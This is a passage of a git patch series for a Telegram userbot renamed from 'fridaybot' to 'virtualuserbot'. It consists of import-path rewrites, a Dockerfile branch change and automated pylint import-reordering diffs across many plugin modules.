virtualuserbot import bot from telethon import events @@ -655,8 +655,8 @@ def start_assistant(shortname): import sys from pathlib import Path - path = Path(f"fridaybot/modules/assistant/{shortname}.py") - name = "fridaybot.modules.assistant.{}".format(shortname) + path = Path(f"virtualuserbot/modules/assistant/{shortname}.py") + name = "virtualuserbot.modules.assistant.{}".format(shortname) spec = importlib.util.spec_from_file_location(name, path) mod = importlib.util.module_from_spec(spec) spec.loader.exec_module(mod) @@ -667,8 +667,8 @@ def start_assistant(shortname): import sys from pathlib import Path - path = Path(f"fridaybot/modules/assistant/{shortname}.py") - name = "fridaybot.modules.assistant.{}".format(shortname) + path = Path(f"virtualuserbot/modules/assistant/{shortname}.py") + name = "virtualuserbot.modules.assistant.{}".format(shortname) spec = importlib.util.spec_from_file_location(name, path) mod = importlib.util.module_from_spec(spec) mod.tgbot = bot.tgbot @@ -684,5 +684,5 @@ def start_assistant(shortname): mod.peru_only = peru_only() mod.only_pvt = only_pvt() spec.loader.exec_module(mod) - sys.modules["fridaybot.modules.assistant" + shortname] = mod + sys.modules["virtualuserbot.modules.assistant" + shortname] = mod sedprint.info("Assistant Has imported " + shortname) diff --git a/virtualuserbot/wraptools/__init__.py b/virtualuserbot/wraptools/__init__.py index 67401615..93bfa18c 100644 --- a/virtualuserbot/wraptools/__init__.py +++ b/virtualuserbot/wraptools/__init__.py @@ -15,8 +15,8 @@ import functools import re -from fridaybot import bot -from fridaybot.Configs import Config +from virtualuserbot import bot +from virtualuserbot.Configs import Config from telethon import events from var import Var From 6ffbe983217da96733451205523bdd47bb01ada7 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 14:13:57 +0530 Subject: [PATCH 728/838] Update Dockerfile --- Dockerfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Dockerfile b/Dockerfile index b791a6f5..89d8e0e2 100644 --- a/Dockerfile +++ b/Dockerfile @@ -59,7 +59,7 @@ RUN rm -r /root/.cache RUN axel https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb && apt install -y ./google-chrome-stable_current_amd64.deb && rm google-chrome-stable_current_amd64.deb RUN axel https://chromedriver.storage.googleapis.com/86.0.4240.22/chromedriver_linux64.zip && unzip chromedriver_linux64.zip && chmod +x chromedriver && mv -f chromedriver /usr/bin/ && rm chromedriver_linux64.zip RUN wget -O opencv.zip https://github.com/opencv/opencv/archive/master.zip && unzip opencv.zip && mv -f opencv-master /usr/bin/ && rm opencv.zip -RUN git clone https://github.com/inukaasith/virtualuserbot /root/virtualuserbot +RUN git clone -b rename2 https://github.com/inukaasith/virtualuserbot /root/virtualuserbot RUN mkdir /root/virtualuserbot/bin/ RUN mkdir /root/virtualuserbot/bin/megadown WORKDIR /root/virtualuserbot/ From a4d279688b0f5dcd05aec75efeb3fe9b1ce6a299 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 22 Jan 2021 08:44:49 +0000 Subject: [PATCH 729/838] pylint: auto fixes --- virtualuserbot/__main__.py | 6 +++--- virtualuserbot/events.py | 3 ++- virtualuserbot/function/__init__.py | 7 +++++-- virtualuserbot/modules/__init__.py | 3 +-- virtualuserbot/modules/_inlinebot.py | 7 ++++--- virtualuserbot/modules/add.py | 6 ++++-- virtualuserbot/modules/admin.py | 5 +++-- virtualuserbot/modules/adultzone.py | 1 + virtualuserbot/modules/afk.py | 3 ++- virtualuserbot/modules/alive.py | 3 ++- virtualuserbot/modules/allban.py | 3 ++- virtualuserbot/modules/anime.py | 3 ++- virtualuserbot/modules/antiflood.py | 5 +++-- virtualuserbot/modules/antispam.py | 3 ++- virtualuserbot/modules/antivirus.py | 3 ++- virtualuserbot/modules/archiver.py | 5 +++-- .../modules/assistant/main_assistant.py | 7 ++++--- virtualuserbot/modules/assistant/notes.py | 5 +++-- virtualuserbot/modules/autotools.py | 3 ++- virtualuserbot/modules/barcode.py | 3 ++- virtualuserbot/modules/bassboost.py | 3 ++- virtualuserbot/modules/bible.py | 1 + virtualuserbot/modules/bin.py | 3 ++- virtualuserbot/modules/blacklist.py | 3 ++- virtualuserbot/modules/books.py | 1 + virtualuserbot/modules/bot_tag.py | 3 ++- virtualuserbot/modules/bye.py | 3 ++- virtualuserbot/modules/calladmin.py | 3 ++- virtualuserbot/modules/carbon.py | 5 +++-- virtualuserbot/modules/carbonRGB.py | 3 ++- virtualuserbot/modules/card.py | 1 + virtualuserbot/modules/chain.py | 3 ++- virtualuserbot/modules/channel_download.py | 3 ++- virtualuserbot/modules/channel_sticker.py | 5 +++-- virtualuserbot/modules/checkrestrictions.py | 3 ++- virtualuserbot/modules/classictranslate.py | 3 ++- virtualuserbot/modules/clone.py | 5 +++-- virtualuserbot/modules/coinflip.py | 3 ++- virtualuserbot/modules/colors.py | 3 ++- virtualuserbot/modules/congratulations.py | 3 ++- virtualuserbot/modules/count.py | 5 +++-- virtualuserbot/modules/countries.py | 1 + virtualuserbot/modules/covid.py | 1 + virtualuserbot/modules/cow.py | 3 ++- virtualuserbot/modules/crack_tools.py | 3 ++- virtualuserbot/modules/create.py | 3 ++- virtualuserbot/modules/cricket_score.py | 1 + virtualuserbot/modules/crypto.py | 1 + virtualuserbot/modules/currency.py | 3 ++- virtualuserbot/modules/dagd.py | 1 + virtualuserbot/modules/decide.py | 1 + virtualuserbot/modules/deepfryer.py | 7 ++++--- virtualuserbot/modules/delfp.py | 3 ++- virtualuserbot/modules/design.py | 3 ++- virtualuserbot/modules/diceandart.py | 3 ++- virtualuserbot/modules/dictionary.py | 3 ++- virtualuserbot/modules/direct_links.py | 3 ++- virtualuserbot/modules/dm.py | 3 ++- virtualuserbot/modules/dns.py | 1 + virtualuserbot/modules/duckduckgo.py | 3 ++- virtualuserbot/modules/dumpster.py | 3 ++- virtualuserbot/modules/ekart.py | 1 + virtualuserbot/modules/emojify.py | 1 + virtualuserbot/modules/emojis.py | 3 ++- virtualuserbot/modules/eval.py | 3 ++- virtualuserbot/modules/exclusive.py | 5 +++-- virtualuserbot/modules/extra.py | 3 ++- virtualuserbot/modules/extranotes.py | 3 ++- virtualuserbot/modules/fakegen.py | 3 ++- virtualuserbot/modules/fakeimagegen.py | 1 + virtualuserbot/modules/figlet.py | 1 + virtualuserbot/modules/fileext.py | 3 ++- virtualuserbot/modules/filters.py | 5 +++-- virtualuserbot/modules/fleaveme.py | 3 ++- virtualuserbot/modules/football.py | 1 + virtualuserbot/modules/funarts.py | 3 ++- virtualuserbot/modules/funtxt2.py | 1 + virtualuserbot/modules/gamersdp.py | 3 ++- virtualuserbot/modules/gdbye.py | 3 ++- virtualuserbot/modules/get_admin.py | 5 +++-- virtualuserbot/modules/get_bot.py | 3 ++- virtualuserbot/modules/get_id.py | 3 ++- virtualuserbot/modules/gizoogle.py | 3 ++- virtualuserbot/modules/glitch.py | 5 +++-- virtualuserbot/modules/google.py | 3 ++- virtualuserbot/modules/got_memes.py | 3 ++- virtualuserbot/modules/got_thoughts.py | 3 ++- virtualuserbot/modules/gprod.py | 3 ++- virtualuserbot/modules/gps2.py | 3 ++- virtualuserbot/modules/gtools.py | 15 ++++++++++----- virtualuserbot/modules/hack.py | 3 ++- virtualuserbot/modules/hash.py | 1 + virtualuserbot/modules/heroku.py | 3 ++- virtualuserbot/modules/heroku_help.py | 1 + virtualuserbot/modules/hotstar.py | 1 + virtualuserbot/modules/howtogoogle.py | 1 + virtualuserbot/modules/iffuci.py | 1 + virtualuserbot/modules/ifsc.py | 3 ++- virtualuserbot/modules/imageenc.py | 1 + virtualuserbot/modules/imagefun.py | 5 +++-- virtualuserbot/modules/imagefun2.py | 3 ++- virtualuserbot/modules/imagefun3.py | 3 ++- virtualuserbot/modules/imagefun4.py | 3 ++- virtualuserbot/modules/imagetools.py | 7 ++++--- virtualuserbot/modules/imdb.py | 3 ++- virtualuserbot/modules/information.py | 5 +++-- virtualuserbot/modules/inline_fun.py | 3 +-- .../modules/instant_install_ext_module.py | 2 +- virtualuserbot/modules/iplookup.py | 3 ++- virtualuserbot/modules/jainder.py | 3 ++- virtualuserbot/modules/jio.py | 3 ++- virtualuserbot/modules/lastfm.py | 11 ++++++----- virtualuserbot/modules/listmyusernames.py | 3 ++- virtualuserbot/modules/locks.py | 9 +++++++-- virtualuserbot/modules/lol.py | 3 ++- virtualuserbot/modules/lucky.py | 3 ++- virtualuserbot/modules/lydiaai2.py | 8 +++++++- virtualuserbot/modules/lyric.py | 3 ++- virtualuserbot/modules/mashup.py | 3 ++- virtualuserbot/modules/mask.py | 3 ++- virtualuserbot/modules/mediadata.py | 3 ++- virtualuserbot/modules/memes.py | 5 +++-- virtualuserbot/modules/memify.py | 3 ++- virtualuserbot/modules/mf.py | 3 ++- virtualuserbot/modules/mmf.py | 3 ++- virtualuserbot/modules/movie_recomendation.py | 1 + virtualuserbot/modules/mtn.py | 3 ++- virtualuserbot/modules/musicdl.py | 5 +++-- virtualuserbot/modules/muth.py | 3 ++- virtualuserbot/modules/nakal.py | 3 ++- virtualuserbot/modules/nekobot.py | 3 ++- virtualuserbot/modules/news.py | 4 ++-- virtualuserbot/modules/nsfw.py | 5 +++-- virtualuserbot/modules/nsfwdetect.py | 1 + virtualuserbot/modules/ocr.py | 1 + virtualuserbot/modules/os.py | 3 ++- virtualuserbot/modules/owm.py | 7 ++++--- virtualuserbot/modules/padmin.py | 3 ++- virtualuserbot/modules/password_tools.py | 5 +++-- virtualuserbot/modules/paste.py | 3 ++- virtualuserbot/modules/pdf2docx.py | 3 ++- virtualuserbot/modules/pin_message.py | 3 ++- virtualuserbot/modules/plane.py | 3 ++- virtualuserbot/modules/pmpermit.py | 5 +++-- virtualuserbot/modules/pokedex.py | 3 ++- virtualuserbot/modules/police.py | 3 ++- virtualuserbot/modules/privatewelcome.py | 3 ++- virtualuserbot/modules/profile.py | 3 ++- virtualuserbot/modules/programmer_jokes.py | 3 ++- virtualuserbot/modules/proxyscrape.py | 3 ++- virtualuserbot/modules/purge.py | 3 ++- virtualuserbot/modules/pyocr.py | 1 + virtualuserbot/modules/qr_code.py | 3 ++- virtualuserbot/modules/quickheal.py | 3 ++- virtualuserbot/modules/quote.py | 3 ++- virtualuserbot/modules/quotes.py | 3 ++- virtualuserbot/modules/quotly.py | 5 +++-- virtualuserbot/modules/rain.py | 3 ++- virtualuserbot/modules/react.py | 3 ++- virtualuserbot/modules/reminder.py | 3 ++- virtualuserbot/modules/remove.bg.py | 1 + virtualuserbot/modules/rename.py | 3 ++- virtualuserbot/modules/reverse.py | 3 ++- virtualuserbot/modules/reverseimg.py | 3 ++- virtualuserbot/modules/sangmata.py | 3 ++- virtualuserbot/modules/screencapture.py | 1 + virtualuserbot/modules/screenlong.py | 3 ++- virtualuserbot/modules/screenshot.py | 3 ++- virtualuserbot/modules/shout.py | 3 ++- virtualuserbot/modules/sizeresize.py | 1 + virtualuserbot/modules/slap.py | 3 ++- virtualuserbot/modules/snake.py | 3 ++- virtualuserbot/modules/snip.py | 5 +++-- virtualuserbot/modules/solarsystem.py | 3 ++- virtualuserbot/modules/something.py | 3 ++- virtualuserbot/modules/song.py | 3 ++- virtualuserbot/modules/songs.py | 3 ++- virtualuserbot/modules/spacedp.py | 3 ++- virtualuserbot/modules/spam.py | 5 +++-- virtualuserbot/modules/speedtest.py | 1 + .../modules/sql_helper/PostAppender_sql.py | 3 ++- .../modules/sql_helper/blacklist_sql.py | 3 ++- .../modules/sql_helper/channel_sticker_sql.py | 3 ++- virtualuserbot/modules/sql_helper/echo_sql.py | 3 ++- virtualuserbot/modules/sql_helper/feds_sql.py | 3 ++- virtualuserbot/modules/sql_helper/filter_sql.py | 3 ++- virtualuserbot/modules/sql_helper/floodsql.py | 3 ++- virtualuserbot/modules/sql_helper/locks_sql.py | 3 ++- virtualuserbot/modules/sql_helper/lydia_ai_sql.py | 3 ++- virtualuserbot/modules/sql_helper/pmpermit_sql.py | 3 ++- virtualuserbot/modules/sql_helper/snips_sql.py | 3 ++- virtualuserbot/modules/sql_helper/warns_sql.py | 3 ++- virtualuserbot/modules/sql_helper/welcome_sql.py | 3 ++- virtualuserbot/modules/sql_helper/welcomesql.py | 3 ++- virtualuserbot/modules/ssvideo.py | 3 ++- virtualuserbot/modules/stats.py | 3 ++- virtualuserbot/modules/steganography.py | 3 ++- virtualuserbot/modules/stickcreater.py | 5 +++-- virtualuserbot/modules/sticker_2.py | 3 ++- virtualuserbot/modules/stickers.py | 7 ++++--- virtualuserbot/modules/stock_price.py | 3 ++- virtualuserbot/modules/stt.py | 1 + virtualuserbot/modules/study.py | 3 ++- virtualuserbot/modules/superheroes.py | 1 + virtualuserbot/modules/tagall.py | 3 ++- virtualuserbot/modules/tb_button.py | 3 ++- virtualuserbot/modules/telegraph.py | 5 +++-- virtualuserbot/modules/test.py | 3 ++- virtualuserbot/modules/thumbnail.py | 3 ++- virtualuserbot/modules/tiktok.py | 3 ++- virtualuserbot/modules/time.py | 3 ++- virtualuserbot/modules/toonify.py | 1 + virtualuserbot/modules/torrentsearch.py | 1 + virtualuserbot/modules/torrentz.py | 1 + virtualuserbot/modules/translate.py | 5 +++-- virtualuserbot/modules/trolls.py | 5 +++-- virtualuserbot/modules/tweet.py | 5 +++-- virtualuserbot/modules/typing.py | 3 ++- virtualuserbot/modules/ukinti.py | 3 ++- virtualuserbot/modules/ultragoogle.py | 3 ++- virtualuserbot/modules/undlt.py | 3 ++- virtualuserbot/modules/updater.py | 4 ++-- virtualuserbot/modules/upload_dl.py | 7 ++++--- virtualuserbot/modules/uploadtoverysteam.py | 3 ++- virtualuserbot/modules/urbandictionary.py | 1 + virtualuserbot/modules/urlshortner.py | 1 + virtualuserbot/modules/userinfo.py | 5 +++-- virtualuserbot/modules/utube.py | 3 ++- virtualuserbot/modules/verysteam.py | 3 ++- virtualuserbot/modules/virustotal.py | 3 ++- virtualuserbot/modules/voice.py | 3 ++- virtualuserbot/modules/vsong.py | 3 ++- virtualuserbot/modules/warnbun.py | 3 ++- virtualuserbot/modules/weather.py | 1 + virtualuserbot/modules/webshot.py | 1 + virtualuserbot/modules/webtools.py | 7 ++++--- virtualuserbot/modules/weebify.py | 3 ++- virtualuserbot/modules/welcome.py | 5 +++-- virtualuserbot/modules/wikimedia.py | 3 ++- virtualuserbot/modules/wikipedia.py | 3 ++- virtualuserbot/modules/xkcd.py | 3 ++- virtualuserbot/modules/xnxx.py | 3 ++- virtualuserbot/modules/ytdl.py | 3 ++- virtualuserbot/modules/ytmusic.py | 3 ++- virtualuserbot/utils.py | 9 +++++---- virtualuserbot/wraptools/__init__.py | 4 ++-- 246 files changed, 525 insertions(+), 272 deletions(-) diff --git a/virtualuserbot/__main__.py b/virtualuserbot/__main__.py index 90b32732..dd3eb53c 100644 --- a/virtualuserbot/__main__.py +++ b/virtualuserbot/__main__.py @@ -3,12 +3,12 @@ from sys import argv import telethon.utils -from virtualuserbot import bot -from virtualuserbot.Configs import Config -from virtualuserbot.utils import load_module, start_assistant from telethon import TelegramClient from var import Var +from virtualuserbot import bot +from virtualuserbot.Configs import Config +from virtualuserbot.utils import load_module, start_assistant sed = logging.getLogger("VirtualUserbot") diff --git a/virtualuserbot/events.py b/virtualuserbot/events.py index f5a33eee..584e5d0d 100644 --- a/virtualuserbot/events.py +++ b/virtualuserbot/events.py @@ -13,9 +13,10 @@ from time import gmtime, strftime from traceback import format_exc -from virtualuserbot import LOGSPAMMER, PRIVATE_GROUP_ID, bot from telethon import events +from virtualuserbot import LOGSPAMMER, PRIVATE_GROUP_ID, bot + def register(**args): """ Register a new event. """ diff --git a/virtualuserbot/function/__init__.py b/virtualuserbot/function/__init__.py index 5d17706d..295ddc53 100644 --- a/virtualuserbot/function/__init__.py +++ b/virtualuserbot/function/__init__.py @@ -16,7 +16,6 @@ import telethon from bs4 import BeautifulSoup from bs4 import BeautifulSoup as bs -from virtualuserbot.utils import load_module from hachoir.metadata import extractMetadata from hachoir.parser import createParser from pymediainfo import MediaInfo @@ -38,6 +37,8 @@ XAttrMetadataError, ) +from virtualuserbot.utils import load_module + BASE_URL = "https://isubtitles.org" import os import zipfile @@ -133,7 +134,9 @@ async def get_all_modules(event, borg, channel_id): await event.edit(f"**Found : {len_p} Plugins. Trying To Install**") for sed in a_plugins: try: - downloaded_file_name = await borg.download_media(sed, "virtualuserbot/modules/") + downloaded_file_name = await borg.download_media( + sed, "virtualuserbot/modules/" + ) if "(" not in downloaded_file_name: path1 = Path(downloaded_file_name) shortname = path1.stem diff --git a/virtualuserbot/modules/__init__.py b/virtualuserbot/modules/__init__.py index db6d2193..421c7fd0 100644 --- a/virtualuserbot/modules/__init__.py +++ b/virtualuserbot/modules/__init__.py @@ -1,8 +1,7 @@ +from var import Var from virtualuserbot.Configs import Config from virtualuserbot.utils import friday_on_cmd -from var import Var - issudousing = Config.SUDO_USERS islogokay = Config.PRIVATE_GROUP_ID isdbfine = Var.DB_URI diff --git a/virtualuserbot/modules/_inlinebot.py b/virtualuserbot/modules/_inlinebot.py index e9e60ac3..1e47a55d 100644 --- a/virtualuserbot/modules/_inlinebot.py +++ b/virtualuserbot/modules/_inlinebot.py @@ -6,14 +6,15 @@ from urllib.parse import quote import requests -from virtualuserbot import ALIVE_NAME, CMD_HELP, CMD_LIST, lang -from virtualuserbot.function import _ytdl -from virtualuserbot.modules import inlinestats from pornhub_api import PornhubApi from search_engine_parser import GoogleSearch from telethon import Button, custom, events, functions from youtube_search import YoutubeSearch +from virtualuserbot import ALIVE_NAME, CMD_HELP, CMD_LIST, lang +from virtualuserbot.function import _ytdl +from virtualuserbot.modules import inlinestats + PMPERMIT_PIC = os.environ.get("PMPERMIT_PIC", None) if PMPERMIT_PIC is None: WARN_PIC = "https://telegra.ph/file/0e7a45ed44e17ce68d8cd.png" diff --git a/virtualuserbot/modules/add.py b/virtualuserbot/modules/add.py index 2a10407f..a4cb3d22 100644 --- a/virtualuserbot/modules/add.py +++ b/virtualuserbot/modules/add.py @@ -1,15 +1,17 @@ """Invite the user(s) to the current chat Syntax: .invite """ -from virtualuserbot.utils import friday_on_cmd from telethon import functions +from virtualuserbot.utils import friday_on_cmd + """Invite the user(s) to the current chat Syntax: .invite """ +from telethon import functions + from virtualuserbot import CMD_HELP from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd -from telethon import functions @friday.on(friday_on_cmd(pattern="invite ?(.*)")) diff --git a/virtualuserbot/modules/admin.py b/virtualuserbot/modules/admin.py index 96868d25..27a0859e 100644 --- a/virtualuserbot/modules/admin.py +++ b/virtualuserbot/modules/admin.py @@ -9,8 +9,6 @@ from asyncio import sleep from os import remove -from virtualuserbot import BOTLOG, BOTLOG_CHATID, CMD_HELP -from virtualuserbot.utils import admin_cmd, errors_handler from telethon.errors import ( BadRequestError, ChatAdminRequiredError, @@ -33,6 +31,9 @@ MessageMediaPhoto, ) +from virtualuserbot import BOTLOG, BOTLOG_CHATID, CMD_HELP +from virtualuserbot.utils import admin_cmd, errors_handler + # =================== CONSTANT =================== PP_TOO_SMOL = "`The image is too small`" PP_ERROR = "`Failure while processing the image`" diff --git a/virtualuserbot/modules/adultzone.py b/virtualuserbot/modules/adultzone.py index f49ce76b..a091fff3 100644 --- a/virtualuserbot/modules/adultzone.py +++ b/virtualuserbot/modules/adultzone.py @@ -7,6 +7,7 @@ import urllib import requests + from virtualuserbot import pro from ..utils import admin_cmd, sudo_cmd diff --git a/virtualuserbot/modules/afk.py b/virtualuserbot/modules/afk.py index fc4aec68..4e5af783 100644 --- a/virtualuserbot/modules/afk.py +++ b/virtualuserbot/modules/afk.py @@ -4,10 +4,11 @@ import datetime from datetime import datetime -from virtualuserbot import CMD_HELP, lang from telethon import events from telethon.tl import functions, types +from virtualuserbot import CMD_HELP, lang + global USER_AFK # pylint:disable=E0602 global afk_time # pylint:disable=E0602 global last_afk_message # pylint:disable=E0602 diff --git a/virtualuserbot/modules/alive.py b/virtualuserbot/modules/alive.py index a6526d2d..60942f9a 100644 --- a/virtualuserbot/modules/alive.py +++ b/virtualuserbot/modules/alive.py @@ -2,10 +2,11 @@ # CREDITS: @WhySooSerious, @Sur_vivor import time +from uniborg.util import friday_on_cmd, sudo_cmd + from virtualuserbot import ALIVE_NAME, CMD_HELP, Lastupdate from virtualuserbot.Configs import Config from virtualuserbot.modules import currentversion -from uniborg.util import friday_on_cmd, sudo_cmd # Functions diff --git a/virtualuserbot/modules/allban.py b/virtualuserbot/modules/allban.py index eee8d343..799d6dbf 100644 --- a/virtualuserbot/modules/allban.py +++ b/virtualuserbot/modules/allban.py @@ -3,10 +3,11 @@ # team cobra from asyncio import sleep -from virtualuserbot import bot from telethon.tl.functions.channels import EditBannedRequest from telethon.tl.types import ChatBannedRights +from virtualuserbot import bot + from ..utils import admin_cmd diff --git a/virtualuserbot/modules/anime.py b/virtualuserbot/modules/anime.py index 3ccfc71c..763f708e 100644 --- a/virtualuserbot/modules/anime.py +++ b/virtualuserbot/modules/anime.py @@ -1,7 +1,8 @@ from anime_downloader.sites import get_anime_class +from mal import Anime, AnimeSearch, Manga, MangaSearch + from virtualuserbot import CMD_HELP from virtualuserbot.utils import admin_cmd -from mal import Anime, AnimeSearch, Manga, MangaSearch @friday.on(admin_cmd(pattern="anime (.*)")) diff --git a/virtualuserbot/modules/antiflood.py b/virtualuserbot/modules/antiflood.py index 647540e0..10a7ae47 100644 --- a/virtualuserbot/modules/antiflood.py +++ b/virtualuserbot/modules/antiflood.py @@ -1,10 +1,11 @@ import asyncio -from virtualuserbot import CMD_HELP, pro -from virtualuserbot.modules.sql_helper import floodsql as sql from telethon.tl.functions.channels import EditBannedRequest from telethon.tl.types import ChatBannedRights +from virtualuserbot import CMD_HELP, pro +from virtualuserbot.modules.sql_helper import floodsql as sql + from ..utils import admin_cmd if pro == True: diff --git a/virtualuserbot/modules/antispam.py b/virtualuserbot/modules/antispam.py index e17b7e82..6227fa8b 100644 --- a/virtualuserbot/modules/antispam.py +++ b/virtualuserbot/modules/antispam.py @@ -1,6 +1,7 @@ +from telethon.events import ChatAction + from virtualuserbot import bot, sclient from virtualuserbot.Configs import Config -from telethon.events import ChatAction """Bans Spammers/Scammer At time Of Arrival If You Add Him The Bot Won't Restrict.""" diff --git a/virtualuserbot/modules/antivirus.py b/virtualuserbot/modules/antivirus.py index b8e0b97e..3bc95274 100644 --- a/virtualuserbot/modules/antivirus.py +++ b/virtualuserbot/modules/antivirus.py @@ -1,8 +1,9 @@ # Lots of lub to @r4v4n4 for gibing the base <3 -from virtualuserbot import CMD_HELP from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError +from virtualuserbot import CMD_HELP + from ..utils import admin_cmd, edit_or_reply, sudo_cmd diff --git a/virtualuserbot/modules/archiver.py b/virtualuserbot/modules/archiver.py index 4e6b843a..c280dff8 100644 --- a/virtualuserbot/modules/archiver.py +++ b/virtualuserbot/modules/archiver.py @@ -12,12 +12,13 @@ from datetime import datetime import patoolib -from virtualuserbot import CMD_HELP -from virtualuserbot.Configs import Config as Var from hachoir.metadata import extractMetadata from hachoir.parser import createParser from telethon.tl.types import DocumentAttributeVideo +from virtualuserbot import CMD_HELP +from virtualuserbot.Configs import Config as Var + from ..utils import admin_cmd, progress thumb_image_path = Var.TEMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg" diff --git a/virtualuserbot/modules/assistant/main_assistant.py b/virtualuserbot/modules/assistant/main_assistant.py index 386e9fc1..dd830bb0 100644 --- a/virtualuserbot/modules/assistant/main_assistant.py +++ b/virtualuserbot/modules/assistant/main_assistant.py @@ -17,6 +17,10 @@ import re import telethon +from telethon import Button, custom, events, functions +from telethon.tl.functions.users import GetFullUserRequest +from telethon.utils import pack_bot_file_id + from virtualuserbot import bot from virtualuserbot.Configs import Config from virtualuserbot.modules.sql_helper.blacklist_assistant import ( @@ -30,9 +34,6 @@ already_added, get_all_users, ) -from telethon import Button, custom, events, functions -from telethon.tl.functions.users import GetFullUserRequest -from telethon.utils import pack_bot_file_id @assistant_cmd("start", is_args=False) diff --git a/virtualuserbot/modules/assistant/notes.py b/virtualuserbot/modules/assistant/notes.py index c1655747..5428f25e 100644 --- a/virtualuserbot/modules/assistant/notes.py +++ b/virtualuserbot/modules/assistant/notes.py @@ -1,3 +1,6 @@ +from telethon import events, utils +from telethon.tl import types + from virtualuserbot.Configs import Config from virtualuserbot.modules.sql_helper.snips_sql import ( add_snip, @@ -5,8 +8,6 @@ get_snips, remove_snip, ) -from telethon import events, utils -from telethon.tl import types TYPE_TEXT = 0 TYPE_PHOTO = 1 diff --git a/virtualuserbot/modules/autotools.py b/virtualuserbot/modules/autotools.py index 369720b0..1899b592 100644 --- a/virtualuserbot/modules/autotools.py +++ b/virtualuserbot/modules/autotools.py @@ -12,12 +12,13 @@ import time from datetime import datetime -from virtualuserbot import CMD_HELP from PIL import Image, ImageDraw, ImageFont from pySmartDL import SmartDL from telethon.errors import FloodWaitError from telethon.tl import functions +from virtualuserbot import CMD_HELP + from ..utils import admin_cmd, edit_or_reply AUTONAME = os.environ.get("AUTONAME", None) diff --git a/virtualuserbot/modules/barcode.py b/virtualuserbot/modules/barcode.py index 9af68fca..863ed9db 100644 --- a/virtualuserbot/modules/barcode.py +++ b/virtualuserbot/modules/barcode.py @@ -9,9 +9,10 @@ import barcode from barcode.writer import ImageWriter -from virtualuserbot import CMD_HELP from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern="barcode ?(.*)")) @friday.on(sudo_cmd(pattern="barcode ?(.*)", allow_sudo=True)) diff --git a/virtualuserbot/modules/bassboost.py b/virtualuserbot/modules/bassboost.py index e03f59d7..e9464a57 100644 --- a/virtualuserbot/modules/bassboost.py +++ b/virtualuserbot/modules/bassboost.py @@ -4,10 +4,11 @@ import os import numpy as np -from virtualuserbot.utils import admin_cmd from pydub import AudioSegment from telethon import types +from virtualuserbot.utils import admin_cmd + @friday.on(admin_cmd(pattern="bassbost ?(.*)")) async def __(message): diff --git a/virtualuserbot/modules/bible.py b/virtualuserbot/modules/bible.py index 8cfe1ba2..11b16f71 100644 --- a/virtualuserbot/modules/bible.py +++ b/virtualuserbot/modules/bible.py @@ -1,4 +1,5 @@ import requests + from virtualuserbot import CMD_HELP from virtualuserbot.utils import admin_cmd diff --git a/virtualuserbot/modules/bin.py b/virtualuserbot/modules/bin.py index a450c593..a966c1e7 100644 --- a/virtualuserbot/modules/bin.py +++ b/virtualuserbot/modules/bin.py @@ -1,8 +1,9 @@ # pata nhi sir 👀👀👀👀 -from virtualuserbot import bot as danish_00 from telethon import events, functions from telethon.errors.rpcerrorlist import YouBlockedUserError +from virtualuserbot import bot as danish_00 + from ..utils import admin_cmd as danishehe diff --git a/virtualuserbot/modules/blacklist.py b/virtualuserbot/modules/blacklist.py index 37dd0420..6994c829 100644 --- a/virtualuserbot/modules/blacklist.py +++ b/virtualuserbot/modules/blacklist.py @@ -8,9 +8,10 @@ .rmblacklist""" import re +from telethon import events + from virtualuserbot import CMD_HELP from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd -from telethon import events from .sql_helper import blacklist_sql as sql diff --git a/virtualuserbot/modules/books.py b/virtualuserbot/modules/books.py index 45a23009..11c6c96e 100644 --- a/virtualuserbot/modules/books.py +++ b/virtualuserbot/modules/books.py @@ -16,6 +16,7 @@ import requests from bs4 import BeautifulSoup + from virtualuserbot import CMD_HELP from virtualuserbot.utils import admin_cmd diff --git a/virtualuserbot/modules/bot_tag.py b/virtualuserbot/modules/bot_tag.py index 48c0fa4e..bceca83f 100644 --- a/virtualuserbot/modules/bot_tag.py +++ b/virtualuserbot/modules/bot_tag.py @@ -12,11 +12,12 @@ # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. -from virtualuserbot.Configs import Config from telethon import custom, events from telethon.tl.types import Chat from telethon.utils import get_display_name +from virtualuserbot.Configs import Config + @friday.on( events.NewMessage( diff --git a/virtualuserbot/modules/bye.py b/virtualuserbot/modules/bye.py index a6b24ea9..06a52d0e 100644 --- a/virtualuserbot/modules/bye.py +++ b/virtualuserbot/modules/bye.py @@ -6,9 +6,10 @@ """ import time +from telethon.tl.functions.channels import LeaveChannelRequest + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd, sudo_cmd -from telethon.tl.functions.channels import LeaveChannelRequest @friday.on(friday_on_cmd("bye")) diff --git a/virtualuserbot/modules/calladmin.py b/virtualuserbot/modules/calladmin.py index ecabf1ec..2784e8bf 100644 --- a/virtualuserbot/modules/calladmin.py +++ b/virtualuserbot/modules/calladmin.py @@ -1,8 +1,9 @@ """.admin Plugin for @UniBorg""" -from virtualuserbot import CMD_HELP from telethon.tl.types import ChannelParticipantsAdmins from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern="admins")) async def _(event): diff --git a/virtualuserbot/modules/carbon.py b/virtualuserbot/modules/carbon.py index b33d0975..aa09e292 100644 --- a/virtualuserbot/modules/carbon.py +++ b/virtualuserbot/modules/carbon.py @@ -10,12 +10,13 @@ from time import sleep from urllib.parse import quote_plus -from virtualuserbot import CHROME_DRIVER, CMD_HELP, GOOGLE_CHROME_BIN -from virtualuserbot.utils import register from selenium import webdriver from selenium.webdriver.chrome.options import Options from selenium.webdriver.common.keys import Keys +from virtualuserbot import CHROME_DRIVER, CMD_HELP, GOOGLE_CHROME_BIN +from virtualuserbot.utils import register + CARBONLANG = "auto" LANG = "en" diff --git a/virtualuserbot/modules/carbonRGB.py b/virtualuserbot/modules/carbonRGB.py index f611fabe..4da8baa5 100644 --- a/virtualuserbot/modules/carbonRGB.py +++ b/virtualuserbot/modules/carbonRGB.py @@ 